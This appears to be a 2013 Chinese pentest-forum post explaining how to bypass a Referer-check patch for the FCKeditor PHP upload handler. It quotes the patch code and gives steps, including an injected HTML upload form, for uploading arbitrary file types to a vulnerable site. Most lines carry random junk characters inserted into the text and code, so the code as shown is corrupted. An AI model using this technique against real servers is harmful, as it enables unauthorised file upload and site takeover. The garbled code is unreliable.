中国网络渗透测试联盟

标题: fckeditor 漏洞修复后的二次利用 [打印本页]

作者: admin    时间: 2013-1-11 21:12
标题: fckeditor 漏洞修复后的二次利用
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php* S2 _/ O% {1 _( i" ~
网上给出的修复方案是+ i9 K. R, L2 `; s4 e. a6 `
修复方法,删除FCK编辑器用其他的编辑器- @/ S7 ?  K+ v6 `2 s
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件" H$ O; d# |7 K2 S3 \4 F

) p% t+ ?, p  z$ X% srequire(‘config.php’);' r6 [4 ~/ C6 p
require(‘util.php’);3 ~% i& i" d2 V) t0 {2 `* ~
的下面添加以下代码—————————–' T! y' s2 y. Z0 w+ `7 {
//防止外部提交
: v7 s+ ]9 E) ?9 m3 L7 o- wfunction outsidepost()
6 H" F0 h$ A# v' e{& B# u) e; m* i" E
$servername=$_SERVER['SERVER_NAME'];
7 X# a# j7 |* _1 l0 S$sub_from=@$_SERVER['HTTP_REFERER'];, b% T0 f' Q9 @  g
$sub_len=strlen($servername);6 O( C/ t# |! U' E4 @4 R3 O
$checkfrom=substr($sub_from,7,$sub_len);1 j9 d* E2 ?( t% ], Y6 w1 K' j0 g7 F
if($checkfrom!=$servername){
1 ~% W4 U. o5 B9 C2 decho(“you don’t outsidepost!”);
4 Q' x! {# m  d% B0 i6 W9 Wexit;
& Q# O7 \$ z+ Q- l' q}5 X& a7 x6 f0 j8 ^3 n& c; e
}7 n  S; B1 r6 s0 _: Y' N8 ~
outsidepost();
" w9 X! g  I; N- b+ p防止外部提交,但是没有防止内部提交,
& _3 J: `7 u7 M利用方法:
) {  ?4 L: E+ C# y* T' }1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
. U7 O- Z# l- `# W$ k: J2,在Current Folder 框输入
& Z# {+ J* H0 X- }' Q1 F<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>2 q; |) l5 u" x! i# k8 u* ^" `4 T  _
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
6 M% k& w1 b$ h7 XPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2